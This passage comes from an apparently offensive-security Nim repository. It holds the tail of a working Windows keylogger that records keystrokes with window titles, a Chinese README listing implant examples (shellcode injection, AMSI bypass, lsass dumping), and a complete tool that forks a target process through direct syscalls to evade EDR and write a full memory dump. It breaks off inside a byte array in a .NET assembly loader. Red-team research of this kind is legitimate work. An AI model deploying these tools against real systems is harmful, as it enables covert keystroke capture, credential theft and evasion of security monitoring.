"[LeftWin]", 222 | Keys.RWin: "[RightWin]", 223 | Keys.PrintScreen: "[PrintScreen]", 224 | Keys.D0: "0", 225 | Keys.D1: "1", 226 | Keys.D2: "2", 227 | Keys.D3: "3", 228 | Keys.D4: "4", 229 | Keys.D5: "5", 230 | Keys.D6: "6", 231 | Keys.D7: "7", 232 | Keys.D8: "8", 233 | Keys.D9: "9", 234 | Keys.Space: " ", 235 | Keys.NumLock: "[NumLock]", 236 | Keys.Alt: "[Alt]", 237 | Keys.LControlKey: "[LeftControl]", 238 | Keys.RControlKey: "[RightControl]", 239 | #Keys.CapsLock: "[CapsLock]", 240 | Keys.Delete: "[Delete]", 241 | Keys.Enter: "[Enter]", 242 | Keys.Divide: "/", 243 | Keys.Multiply: "*", 244 | Keys.Add: "+", 245 | Keys.Subtract: "-", 246 | Keys.PageDown: "[PageDown]", 247 | Keys.PageUp: "[PageUp]", 248 | Keys.End: "[End]", 249 | Keys.Insert: "[Insert]", 250 | Keys.Decimal: ".", 251 | Keys.OemSemicolon: ";", 252 | Keys.Oemtilde: "`", 253 | Keys.Oemplus: "=", 254 | Keys.OemMinus: "-", 255 | Keys.Oemcomma: ",", 256 | Keys.OemPeriod: ".", 257 | Keys.OemPipe: "\\", 258 | Keys.OemQuotes: "\"", 259 | Keys.OemCloseBrackets: "]", 260 | Keys.OemOpenBrackets: "[", 261 | Keys.Home: "[Home]", 262 | Keys.Back: "[Backspace]", 263 | Keys.NumPad0: "0", 264 | Keys.NumPad1: "1", 265 | Keys.NumPad2: "2", 266 | Keys.NumPad3: "3", 267 | Keys.NumPad4: "4", 268 | Keys.NumPad5: "5", 269 | Keys.NumPad6: "6", 270 | Keys.NumPad7: "7", 271 | Keys.NumPad8: "8", 272 | Keys.NumPad9: "9", 273 | }.toTable() 274 | 275 | KeyDictShift = { 276 | Keys.D0: ")", 277 | Keys.D1: "!", 278 | Keys.D2: "@", 279 | Keys.D3: "#", 280 | Keys.D4: "$", 281 | Keys.D5: "%", 282 | Keys.D6: "^", 283 | Keys.D7: "&", 284 | Keys.D8: "*", 285 | Keys.D9: "(", 286 | Keys.OemSemicolon: ":", 287 | Keys.Oemtilde: "~", 288 | Keys.Oemplus: "+", 289 | Keys.OemMinus: "_", 290 | Keys.Oemcomma: "<", 291 | Keys.OemPeriod: ">", 292 | Keys.OemPipe: "|", 293 | Keys.OemQuotes: "'", 294 | Keys.OemCloseBrackets: "", 295 | Keys.OemOpenBrackets: "", 296 | }.toTable() 297 | 298 | proc GetActiveWindowTitle(): LPWSTR = 299 | var capacity: int32 = 256 300 | var builder: LPWSTR = newString(capacity) 301 | var wHandle = GetForegroundWindow() 302 | defer: CloseHandle(wHandle) 303 | GetWindowText(wHandle, builder, capacity) 304 | return builder 305 | 306 | proc HookCallback(nCode: int32, wParam: WPARAM, lParam: LPARAM): LRESULT {.stdcall.} = 307 | if nCode >= 0 and wParam == WM_KEYDOWN: 308 | var keypressed: string 309 | var kbdstruct: PKBDLLHOOKSTRUCT = cast[ptr KBDLLHOOKSTRUCT](lparam) 310 | var currentActiveWindow = GetActiveWindowTitle() 311 | var shifted: bool = (GetKeyState(160) < 0) or (GetKeyState(161) < 0) 312 | var keycode: Keys = cast[Keys](kbdstruct.vkCode) 313 | 314 | if shifted and (keycode in KeyDictShift): 315 | keypressed = KeyDictShift.getOrDefault(keycode) 316 | elif keycode in KeyDict: 317 | keypressed = KeyDict.getOrDefault(keycode) 318 | else: 319 | var capped: bool = (GetKeyState(20) != 0) 320 | if (capped and shifted) or not (capped or shifted): 321 | keypressed = $toLowerAscii(chr(ord(keycode))) 322 | else: 323 | keypressed = $toUpperAscii(chr(ord(keycode))) 324 | 325 | echo fmt"[*] Key: {keypressed} [Window: '{currentActiveWindow}']" 326 | return CallNextHookEx(0, nCode, wParam, lParam) 327 | 328 | var hook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) HookCallback, 0, 0) 329 | if bool(hook): 330 | try: 331 | echo "[*] Hook successful" 332 | PostMessage(0, 0, 0, 0) 333 | 334 | var msg: MSG 335 | while GetMessage(msg.addr, 0, 0, 0): 336 | discard 337 | finally: 338 | UnhookWindowsHookEx(hook) 339 | -------------------------------------------------------------------------------- /README_CN.md: -------------------------------------------------------------------------------- 1 |

2 | OffensiveNim 3 |

4 | 5 | # OffensiveNim 6 | 7 | 这是我使用[Nim](https://nim-lang.org/)开发implant(植入体)和常用的攻击作战工具的实验。 8 | 9 | ## 目录 10 | 11 | - [OffensiveNim](#offensivenim) 12 | * [为什么用Nim](#为什么用Nim) 13 | * [使用范例](#使用范例) 14 | * [范例中的半成品](#范例中的半成品) 15 | * [编译范例](#编译范例) 16 | * [跨平台编译](#跨平台编译) 17 | * [C/C++接口](#C/C++接口) 18 | * [用DllMain入口点函数创建Windows DLLs](#用-dllmain入口点函数创建windows-dlls) 19 | * [优化可执行程序大小](#优化可执行程序大小) 20 | * [是否使用Winim库,可执行程序大小是不同的](#是否使用Winim库,可执行程序大小是不同的) 21 | * [Opsec考虑](#Opsec考虑) 22 | * [转换C代码去Nim](#转换C代码去Nim) 23 | * [跨语言使用](#跨语言使用) 24 | * [调试](#调试) 25 | * [配置开发环境](#配置开发环境) 26 | * [我遇到过的陷阱](#我遇到过的陷阱) 27 | * [有趣的Nim库](#有趣的Nim库) 28 | * [Nim植入体开发相关连接](#Nim植入体开发相关连接) 29 | 30 | ## 为什么用Nim 31 | 32 | - 直接编译成 C, C++, Objective-C 和 Javascript。 33 | - 由于它不依赖于VM/运行时不会产生像别的语言一样的"T H I C C malwarez"(e.g. Golang)。 34 | - 受Python语法启发, 允许快速的创建native payload和样本制作。 35 | - 有**非常**成熟的 [FFI](https://nim-lang.org/docs/manual.html#foreign-function-interface) (Foreign Function Interface) 能力。 36 | - 避免使用C/C++代码编写,同时也就避免了在软件中引入一些安全问题. 37 | - 超级容易在*nix/MacOS系统上跨平台编译Windows程序, 仅仅需要安装 `mingw` 工具集和给nim编译器指定一个参数。 38 | - Nim编译器支持大多数主流平台的可执行程序生成,如:Windows、Linux、BSD和macOS。甚至能够支持Nintendo switch、IOS和Android平台。查看跨平台编译部分的详情在[Nim编译器使用指南](https://nim-lang.github.io/Nim/nimc.html#crossminuscompilation) 39 | - 从技术上讲,你能够使用Nim编写implant(植入体)和c2后端,因为你可以直接将代码编译成 Javascript。Nim甚至初步支持 [WebAssembly](https://forum.nim-lang.org/t/4779) 40 | 41 | ## 使用范例 42 | 43 | | File | Description | 44 | | --- | --- | 45 | | `pop_bin.nim` | 调用 `MessageBox` 使用WinApi,不用Winim库 | 46 | | `pop_winim_bin.nim` | 调用 `MessageBox` 使用Winim库 | 47 | | `execute_assembly_bin.nim` | 托管CLR,在内存中反射执行.NET assemblies | 48 | | `clr_host_cpp_embed_bin.nim` | 通过直接嵌入C++代码托管CLR,执行硬盘上的.NET assembly | 49 | | `scshell_c_embed_bin.nim` | 通过将[SCShell](https://github.com/Mr-Un1k0d3r/SCShell)(C)直接嵌入Nim中,来演示如何快速武器化现有C代码工具 | 50 | | `fltmc_bin.nim` | 枚举所有Minifilter驱动程序 | 51 | | `blockdlls_acg_ppid_spoof_bin.nim` | 创建一个挂起的进程并使用PPID欺骗,使它的父进程为explorer.exe, 同时开启BlockDLLs和ACG | 52 | | `named_pipe_client_bin.nim` | 命名管道客户端 | 53 | | `named_pipe_server_bin.nim` | Named Pipe Server | 54 | | `pop_winim_lib.nim` | 举例创建一个具有 `DllMain`入口点函数的Windows DLL | 55 | | `wmiquery_bin.nim` | 使用WMI查询运行和安装的杀毒软件 | 56 | | `shellcode_bin.nim` | 创建一个挂起的精彩,并用 `VirtualAllocEx`/`CreateRemoteThread`方法来注入shellcode。 同时也演示了使用编译时定义来侦测架构、 系统等等 | 57 | | `passfilter_lib.nim` | 通过使用(滥用)密码复杂性过滤器来记录密码改变 | 58 | | `minidump_bin.nim` | 使用`MiniDumpWriteDump`来创建一个lsass进程的内存拷贝 | 59 | | `http_request_bin.nim` | 演示发送HTTP请求的2种方式 | 60 | | `execute_sct_bin.nim` | 通过 `GetObject()`来执行`.sct`扩展文件 | 61 | | `scriptcontrol_bin.nim` | 使用`MSScriptControl` COM对象来动态执行VBScript和JScript | 62 | | `excel_com_bin.nim` | 使用Excel COM 对象和Macros来注入shellcode | 63 | | `keylogger_bin.nim` | 使用 `SetWindowsHookEx`来做键盘记录 | 64 | | `amsi_patch_bin.nim` | 在当前进程通过补丁AMSI的方式绕过AMSI | 65 | 66 | ## 范例中的半成品 67 | 68 | | File | Description | 69 | | ---------------------- | ------------------------------------------------------------ | 70 | | `amsi_patch_2_bin.nim` | 用另外一种方法在当前经常通过补丁AMSI的方式绕过AMSI (**半成品,感谢帮助**) | 71 | | `excel_4_com_bin.nim` | 使用Excel COM对象和Excel 4 Macros注入shellcode (**半成品**) | 72 | 73 | ## 编译范例 74 | 75 | 此仓库不提供二进制文件,你需要自己编译。 76 | 77 | 这个仓库配置的是在*nix/MacOS平台上跨平台编译成Windows程序的Nim源码例子,当然它们应该也可以在Windows平台上直接编译 (你可以无脑的使用Makefile文件一键编译)。 78 | 79 | [安装Nim](https://nim-lang.org/install_unix.html) 用系统软件管理器 (对于Windows平台可以直接使用官网的 [安装包](https://nim-lang.org/install_windows.html)) 80 | 81 | - `brew install nim` 82 | - `apt install nim` 83 | 84 | (Nim也提供了一个docker image但是不知道他是怎么执行跨平台编译工作的,需要研究一下) 85 | 86 | 你现在应该可以使用 `nim` & `nimble` 命令了,前者是Nim编译器, 后者是Nim的包管理器。 87 | 88 | 跨平台编译Windows程序需要安装 `Mingw` 工具集 (Windows平台不需要): 89 | - *nix: `apt-get install mingw-w64` 90 | - MacOS: `brew install mingw-w64` 91 | 92 | 最后,安装牛逼的[Winim](https://github.com/khchen/winim)库: 93 | 94 | - `nimble install winim` 95 | 96 | 然后cd进入仓库当前目录并执行 `make`。 97 | 98 | 你应该能够找到二进制文件和dlls在 `bin/` 目录。 99 | 100 | ## 跨平台编译 101 | 102 | 查看更多跨平台编译部分的详情,在 [Nim编译器指南](https://nim-lang.github.io/Nim/nimc.html#crossminuscompilation)中。 103 | 104 | 在MacOs/*nix跨平台编译Windows程序需要 `mingw` 工具集,常常使用`brew install mingw-w64`或者`apt install mingw-w64`安装。 105 | 106 | 在编译时你仅仅需要指定 `-d=mingw` 参数。 107 | 108 | E.g. `nim c -d=mingw --app=console --cpu=amd64 source.nim` 109 | 110 | ## C/C++接口 111 | 112 | 查看在Nim手册中的 [FFI 部分](https://nim-lang.org/docs/manual.html#foreign-function-interface) 。 113 | 114 | 假如你熟悉csharps P/Invoke,它本质上是相同的概念,竟然看上去有点难看: 115 | 116 | 调用 `MessageBox` 举例 117 | 118 | ```nim 119 | type 120 | HANDLE* = int 121 | HWND* = HANDLE 122 | UINT* = int32 123 | LPCSTR* = cstring 124 | 125 | proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 126 | {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".} 127 | 128 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 129 | ``` 130 | 131 | 对于一些复杂的Windows API调用使用 [Winim库](https://github.com/khchen/winim),既节约时间也不会增加文件大小 (参见下文) ,依赖于你导入它的方式。 132 | 133 | 甚至支持COM调用!!! 134 | 135 | ## 用 `DllMain`入口点函数创建Windows DLLs 136 | 137 | 非常感谢这位朋友在Nim论坛的[文章](https://forum.nim-lang.org/t/1973)。 138 | 139 | 每当你告诉Nim编译器创建Windows DLL时,它都会在编译时自动的为你创建`DllMain`函数,但是由于某种原因,它实际上并未导出。为了有一个入口点函数 `DllMain` ,你需要通过 `--nomain` 和利用合适的pragmas (`stdcall, exportc, dynlib`)定义一个 `DllMain` 函数。 140 | 141 | 你也需要调用 `NimMain` 为 `DllMain` 去初始化Nim的垃圾回收。(非常重要的,否则你的电脑可能被气的炸)。 142 | 143 | 举例: 144 | 145 | ```nim 146 | import winim/lean 147 | 148 | proc NimMain() {.cdecl, importc.} 149 | 150 | proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 151 | NimMain() 152 | 153 | if fdwReason == DLL_PROCESS_ATTACH: 154 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 155 | 156 | return true 157 | ``` 158 | 159 | 编译: 160 | 161 | ``` 162 | nim c -d=mingw --app=lib --nomain --cpu=amd64 mynim.dll 163 | ``` 164 | 165 | 166 | ## 优化可执行程序大小 167 | 168 | 取至 [Nim的常见问题说明](https://nim-lang.org/faq.html) 169 | 170 | 要最大程度的减小程序体积,请使用一下参数 `-d:danger -d:strip --opt:size` 171 | 172 | 此外,我发现通过以下参数可以进一步减小程序体积 `--passc=-flto --passl=-flto` 。你也可以看一看项目中的 `Makefile` 文件。 173 | 174 | 这些参数**显著的**减小了程序体积: 在MacOSX上交叉编译shellcode注入示例,程序大小从484.3 KB变成了46.5 KB! 175 | 176 | ## 是否使用Winim库,可执行程序大小是不同的 177 | 178 | 大小差异基本上可以忽略不计。尤其是当你使用了上面提到的方法优化程序体积。 179 | 180 | `pop_bin.nim` 和 `pop_winim_bin.nim` 例子就是为了这个目的而创建的。 181 | 182 | 定义了一个`MessageBox`,前者使用手动调用WinAPI,后者用Winim库(具体是 `winim/lean` ,这是其中一个核心的SDK,详情看 [usage](https://github.com/khchen/winim#usage)),结果如下: 183 | 184 | ``` 185 | byt3bl33d3r@ecl1ps3 OffensiveNim % ls -lah bin 186 | -rwxr-xr-x 1 byt3bl33d3r 25K Nov 20 18:32 pop_bin_32.exe 187 | -rwxr-xr-x 1 byt3bl33d3r 32K Nov 20 18:32 pop_bin_64.exe 188 | -rwxr-xr-x 1 byt3bl33d3r 26K Nov 20 18:33 pop_winim_bin_32.exe 189 | -rwxr-xr-x 1 byt3bl33d3r 34K Nov 20 18:32 pop_winim_bin_64.exe 190 | ``` 191 | 192 | 假如你使用 `import winim/com`全部的导入Winim库,它仅仅增加了20KB左右,考虑到它抽象的功能量,是100%值得的: 193 | ``` 194 | byt3bl33d3r@ecl1ps3 OffensiveNim % ls -lah bin 195 | -rwxr-xr-x 1 byt3bl33d3r 42K Nov 20 19:20 pop_winim_bin_32.exe 196 | -rwxr-xr-x 1 byt3bl33d3r 53K Nov 20 19:20 pop_winim_bin_64.exe 197 | ``` 198 | 199 | ## Opsec考虑 200 | 201 | 由于Nim有FFI,就不会使用 `LoadLibrary` 做自动导入,因此您的外部导入函数都不会真正显示在可执行文件的静态导入中 (更多详情看这篇 [文章](https://secbytes.net/Implant-Roulette-Part-1:-Nimplant)): 202 | 203 | ![](https://user-images.githubusercontent.com/5151193/99911179-d0dd6000-2caf-11eb-933a-6a7ada510747.png) 204 | 205 | 假如你编译Nim源码成为一个DLL,似乎看上去总有一个 `NimMain`导入函数,不管你是否指定了`DllMain` (??)。这可能会被用来作为一个潜在的特征,不知道有多少的应用使用Nim作为开发语言。不然这个特征会特别突出。 206 | 207 | ![](https://user-images.githubusercontent.com/5151193/99911079-4563cf00-2caf-11eb-960d-e500534b56dd.png) 208 | 209 | ## 转换C代码去Nim 210 | 211 | https://github.com/nim-lang/c2nim 212 | 213 | 用它去转换一些小的C代码片段,还有没有尝试过一些主要功能。 214 | 215 | ## 跨语言使用 216 | 217 | - Python整合https://github.com/yglukhov/nimpy 218 | * 这是个非常有趣的项目, [尤其是这部分](https://github.com/yglukhov/nimpy/blob/master/nimpy/py_lib.nim#L330)。经过一些修改可以从内存中加载PythonxXX.dll? 219 | 220 | - Jave VM 整合: https://github.com/yglukhov/jnim 221 | 222 | ## 调试 223 | 224 | 主要使用 `repr()` 函数和 `echo`,支持大部分 (??) 数据样式, 甚至结构体! 225 | 226 | 详情看这篇 [文章](https://nim-lang.org/blog/2017/10/02/documenting-profiling-and-debugging-nim-code.html) 227 | 228 | ## 配置开发环境 229 | 230 | VSCode中有一个Nim扩展 是非常好用的。这似乎是目前唯一的选择。 231 | 232 | ## 我遇到过的陷阱 233 | 234 | - 当使用Winim库调用winapi需要传递一个null值时,确保使用Winim定义的 `NULL` 去代替Nim内置的`nil`。(呸) 235 | - 在Windows上使用open()打开的文件句柄,您需要使用f.getOsFileHandle()而不是f.getFileHandle()。 236 | 237 | - Nim编译器不接受如下参数形式 `-a=value` 或者 `--arg=value` ,只能使用如下形式 `-a:value` 或者 `--arg:value`. (对于使用Makefile文件来说是重要的) 238 | - 当定义byte数组时,你至少要在第一个值中标识它是一个字节,有点奇怪但就是这样的 (https://forum.nim-lang.org/t/4322) 239 | 240 | C#的字节数组写法: 241 | ```csharp 242 | byte[] buf = new byte[5] {0xfc,0x48,0x81,0xe4,0xf0,0xff} 243 | ``` 244 | 245 | Nim的字节数组写法: 246 | ```nim 247 | var buf: array[5, byte] = [byte 0xfc,0x48,0x81,0xe4,0xf0,0xff] 248 | ``` 249 | 250 | ## 有趣的Nim库 251 | 252 | - https://github.com/dom96/jester 253 | - https://github.com/pragmagic/karax 254 | - https://github.com/Niminem/Neel 255 | - https://github.com/status-im/nim-libp2p 256 | - https://github.com/PMunch/libkeepass 257 | - https://github.com/def-/nim-syscall 258 | - https://github.com/tulayang/asyncdocker 259 | - https://github.com/treeform/ws 260 | - https://github.com/guzba/zippy 261 | - https://github.com/rockcavera/nim-iputils 262 | - https://github.com/FedericoCeratto/nim-socks5 263 | - https://github.com/CORDEA/backoff 264 | - https://github.com/treeform/steganography 265 | - https://github.com/miere43/nim-registry 266 | - https://github.com/status-im/nim-daemon 267 | 268 | ## Nim植入体开发相关连接 269 | 270 | - https://secbytes.net/Implant-Roulette-Part-1:-Nimplant 271 | - https://securelist.com/zebrocys-multilanguage-malware-salad/90680/ 272 | - https://github.com/MythicAgents/Nimplant 273 | - https://github.com/elddy/Nim-SMBExec 274 | - https://github.com/elddy/NimScan 275 | -------------------------------------------------------------------------------- /src/fork_dump_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | 3 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 4 | License: BSD 3-Clause 5 | 6 | This (ab)uses Window's implementation of Fork() and acquires a handle to a remote process using the PROCESS_CREATE_PROCESS access right potentially allowing to evade EDR detectons. 7 | 8 | This example uses MiniDumpWriteDump() to dump the forked processes memory after acquiring it's handle. 9 | See the blogpost in the references below for a full write-up. 10 | 11 | References: 12 | - https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/ 13 | - https://github.com/D4stiny/ForkPlayground 14 | ]# 15 | 16 | from os import paramStr, commandLineParams 17 | from system import quit, newException 18 | from strutils import parseInt 19 | import strformat 20 | import winim/lean 21 | 22 | {.passC:"-masm=intel".} 23 | 24 | type 25 | FunctionCallException = object of CatchableError 26 | MINIDUMP_TYPE = enum 27 | MiniDumpWithFullMemory = 0x00000002 28 | 29 | # Syscall generated using NimlineWhispers (https://github.com/ajpc500/NimlineWhispers) 30 | proc NtCreateProcessEx*( 31 | ProcessHandle: PHANDLE, 32 | DesiredAccess: ACCESS_MASK, 33 | ObjectAttributes: POBJECT_ATTRIBUTES, 34 | ParentProcess: HANDLE, 35 | Flags: ULONG, 36 | SectionHandle: HANDLE, 37 | DebugPort: HANDLE, 38 | ExceptionPort: HANDLE, 39 | JobMemberLevel: ULONG 40 | ): NTSTATUS {.asmNoStackFrame.} = 41 | 42 | asm """ 43 | mov rax, gs:[0x60] 44 | NtCreateProcessEx_Check_X_X_XXXX: 45 | cmp dword ptr [rax+0x118], 6 46 | je NtCreateProcessEx_Check_6_X_XXXX 47 | cmp dword ptr [rax+0x118], 10 48 | je NtCreateProcessEx_Check_10_0_XXXX 49 | jmp NtCreateProcessEx_SystemCall_Unknown 50 | NtCreateProcessEx_Check_6_X_XXXX: 51 | cmp dword ptr [rax+0x11c], 1 52 | je NtCreateProcessEx_Check_6_1_XXXX 53 | cmp dword ptr [rax+0x11c], 2 54 | je NtCreateProcessEx_SystemCall_6_2_XXXX 55 | cmp dword ptr [rax+0x11c], 3 56 | je NtCreateProcessEx_SystemCall_6_3_XXXX 57 | jmp NtCreateProcessEx_SystemCall_Unknown 58 | NtCreateProcessEx_Check_6_1_XXXX: 59 | cmp word ptr [rax+0x120], 7600 60 | je NtCreateProcessEx_SystemCall_6_1_7600 61 | cmp word ptr [rax+0x120], 7601 62 | je NtCreateProcessEx_SystemCall_6_1_7601 63 | jmp NtCreateProcessEx_SystemCall_Unknown 64 | NtCreateProcessEx_Check_10_0_XXXX: 65 | cmp word ptr [rax+0x120], 10240 66 | je NtCreateProcessEx_SystemCall_10_0_10240 67 | cmp word ptr [rax+0x120], 10586 68 | je NtCreateProcessEx_SystemCall_10_0_10586 69 | cmp word ptr [rax+0x120], 14393 70 | je NtCreateProcessEx_SystemCall_10_0_14393 71 | cmp word ptr [rax+0x120], 15063 72 | je NtCreateProcessEx_SystemCall_10_0_15063 73 | cmp word ptr [rax+0x120], 16299 74 | je NtCreateProcessEx_SystemCall_10_0_16299 75 | cmp word ptr [rax+0x120], 17134 76 | je NtCreateProcessEx_SystemCall_10_0_17134 77 | cmp word ptr [rax+0x120], 17763 78 | je NtCreateProcessEx_SystemCall_10_0_17763 79 | cmp word ptr [rax+0x120], 18362 80 | je NtCreateProcessEx_SystemCall_10_0_18362 81 | cmp word ptr [rax+0x120], 18363 82 | je NtCreateProcessEx_SystemCall_10_0_18363 83 | cmp word ptr [rax+0x120], 19041 84 | je NtCreateProcessEx_SystemCall_10_0_19041 85 | cmp word ptr [rax+0x120], 19042 86 | je NtCreateProcessEx_SystemCall_10_0_19042 87 | cmp word ptr [rax+0x120], 19043 88 | je NtCreateProcessEx_SystemCall_10_0_19043 89 | jmp NtCreateProcessEx_SystemCall_Unknown 90 | NtCreateProcessEx_SystemCall_6_1_7600: 91 | mov eax, 0x004a 92 | jmp NtCreateProcessEx_Epilogue 93 | NtCreateProcessEx_SystemCall_6_1_7601: 94 | mov eax, 0x004a 95 | jmp NtCreateProcessEx_Epilogue 96 | NtCreateProcessEx_SystemCall_6_2_XXXX: 97 | mov eax, 0x004b 98 | jmp NtCreateProcessEx_Epilogue 99 | NtCreateProcessEx_SystemCall_6_3_XXXX: 100 | mov eax, 0x004c 101 | jmp NtCreateProcessEx_Epilogue 102 | NtCreateProcessEx_SystemCall_10_0_10240: 103 | mov eax, 0x004d 104 | jmp NtCreateProcessEx_Epilogue 105 | NtCreateProcessEx_SystemCall_10_0_10586: 106 | mov eax, 0x004d 107 | jmp NtCreateProcessEx_Epilogue 108 | NtCreateProcessEx_SystemCall_10_0_14393: 109 | mov eax, 0x004d 110 | jmp NtCreateProcessEx_Epilogue 111 | NtCreateProcessEx_SystemCall_10_0_15063: 112 | mov eax, 0x004d 113 | jmp NtCreateProcessEx_Epilogue 114 | NtCreateProcessEx_SystemCall_10_0_16299: 115 | mov eax, 0x004d 116 | jmp NtCreateProcessEx_Epilogue 117 | NtCreateProcessEx_SystemCall_10_0_17134: 118 | mov eax, 0x004d 119 | jmp NtCreateProcessEx_Epilogue 120 | NtCreateProcessEx_SystemCall_10_0_17763: 121 | mov eax, 0x004d 122 | jmp NtCreateProcessEx_Epilogue 123 | NtCreateProcessEx_SystemCall_10_0_18362: 124 | mov eax, 0x004d 125 | jmp NtCreateProcessEx_Epilogue 126 | NtCreateProcessEx_SystemCall_10_0_18363: 127 | mov eax, 0x004d 128 | jmp NtCreateProcessEx_Epilogue 129 | NtCreateProcessEx_SystemCall_10_0_19041: 130 | mov eax, 0x004d 131 | jmp NtCreateProcessEx_Epilogue 132 | NtCreateProcessEx_SystemCall_10_0_19042: 133 | mov eax, 0x004d 134 | jmp NtCreateProcessEx_Epilogue 135 | NtCreateProcessEx_SystemCall_10_0_19043: 136 | mov eax, 0x004d 137 | jmp NtCreateProcessEx_Epilogue 138 | NtCreateProcessEx_SystemCall_Unknown: 139 | ret 140 | NtCreateProcessEx_Epilogue: 141 | mov r10, rcx 142 | syscall 143 | ret 144 | """ 145 | 146 | proc MiniDumpWriteDump( 147 | hProcess: HANDLE, 148 | ProcessId: DWORD, 149 | hFile: HANDLE, 150 | DumpType: MINIDUMP_TYPE, 151 | ExceptionParam: INT, 152 | UserStreamParam: INT, 153 | CallbackParam: INT 154 | ): BOOL {.importc: "MiniDumpWriteDump", dynlib: "dbghelp", stdcall.} 155 | 156 | proc cleanSnapshot(currentSnapshotProcess: HANDLE): BOOL = 157 | result = TRUE 158 | 159 | result = TerminateProcess(currentSnapshotProcess, 0) 160 | CloseHandle(currentSnapshotProcess) 161 | if result == FALSE: 162 | echo fmt"Failed to terminate process {GetProcessId(currentSnapshotProcess)} [Error: {GetLastError()}]" 163 | 164 | proc forkSnapshot(targetProcessId: DWORD): HANDLE = 165 | result = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetProcessId) 166 | if result == FALSE: 167 | echo fmt"Failed to open a PROCESS_CREATE_PROCESS handle to target process {targetProcessId} [Error: {GetLastError()}]" 168 | raise newException(FunctionCallException, "OpenProcess() failed") 169 | 170 | proc takeSnapshot(targetProcessId: DWORD): HANDLE = 171 | var 172 | currentSnapshotProcess: HANDLE 173 | status: NTSTATUS 174 | targetProcess: HANDLE = forkSnapshot(targetProcessId) 175 | 176 | status = NtCreateProcessEx( 177 | addr currentSnapshotProcess, 178 | PROCESS_ALL_ACCESS, 179 | NULL, 180 | targetProcess, 181 | 0, 182 | 0, 183 | 0, 184 | 0, 185 | 0 186 | ) 187 | 188 | if NT_SUCCESS(status) == FALSE: 189 | echo fmt"Failed to create fork process for target {targetProcessId} [Error: {GetLastError()}]" 190 | raise newException(FunctionCallException, "NtCreateProcessEx() failed") 191 | 192 | return currentSnapshotProcess 193 | 194 | proc setDebugPrivs(): bool = 195 | var 196 | currentToken: HANDLE 197 | currentDebugValue: LUID 198 | newTokenPrivs: TOKEN_PRIVILEGES 199 | adjustSuccess: WINBOOL 200 | 201 | if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr currentToken) == FALSE: 202 | echo fmt"Failed to open current process token [Error: {GetLastError()}]" 203 | return false 204 | 205 | if LookupPrivilegeValue(NULL, SE_DEBUG_NAME, addr currentDebugValue) == FALSE: 206 | echo fmt"Failed to lookup current debug privilege [Error: {GetLastError()}]" 207 | CloseHandle(currentToken) 208 | return false 209 | 210 | newTokenPrivs.PrivilegeCount = 1 211 | newTokenPrivs.Privileges[0].Luid = currentDebugValue 212 | newTokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED 213 | 214 | adjustSuccess = AdjustTokenPrivileges( 215 | currentToken, 216 | FALSE, 217 | addr newTokenPrivs, 218 | cast[DWORD](sizeof(newTokenPrivs)), 219 | NULL, 220 | NULL 221 | ) 222 | 223 | if adjustSuccess == FALSE or GetLastError() != ERROR_SUCCESS: 224 | echo fmt"Failed to set debug privileges on current process [Error: {GetLastError()}]" 225 | CloseHandle(currentToken) 226 | return false 227 | 228 | echo "Successfully set debug privs on current process" 229 | return true 230 | 231 | when isMainModule: 232 | if len(commandLineParams()) == 0: 233 | echo "Usage: fork_dump.exe [target process ID]" 234 | quit(1) 235 | 236 | var 237 | snapshotProcess: HANDLE 238 | dumpFileName: string = r"C:\Windows\Temp\test.dump" 239 | dumpFile: File 240 | dumpSuccess: BOOL 241 | adjustedPrivSuccess: bool 242 | targetProcessId: DWORD = cast[DWORD](parseInt(paramStr(1))) 243 | 244 | echo "targetProcessId: ", targetProcessId 245 | dumpfile = open(dumpFileName, fmWrite) 246 | 247 | try: 248 | snapshotProcess = takeSnapshot(targetProcessId) 249 | except FunctionCallException: 250 | echo "Forking process failed, setting debug privileges and re-trying" 251 | adjustedPrivSuccess = setDebugPrivs() 252 | snapshotProcess = takeSnapshot(targetProcessId) 253 | 254 | dumpSuccess = MiniDumpWriteDump( 255 | snapshotProcess, 256 | GetProcessId(snapshotProcess), 257 | dumpfile.getOsFileHandle(), 258 | MiniDumpWithFullMemory, 259 | 0, 260 | 0, 261 | 0 262 | ) 263 | 264 | if dumpSuccess == TRUE: 265 | echo fmt"Successfully dumped forked process {targetProcessId} to {dumpFileName}!" 266 | else: 267 | echo fmt"Failed to create dump of forked process [Error: {GetLastError()}]" 268 | 269 | dumpFile.close() 270 | discard cleanSnapshot(snapshotProcess) 271 | -------------------------------------------------------------------------------- /src/execute_assembly_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff. 6 | 7 | Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim` 8 | 9 | Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects. 10 | 11 | References: 12 | - https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim 13 | ]# 14 | 15 | import winim/clr 16 | import sugar 17 | import strformat 18 | 19 | # Just pops a message box... or does it? ;) 20 | var buf: array[4608, byte] = [byte 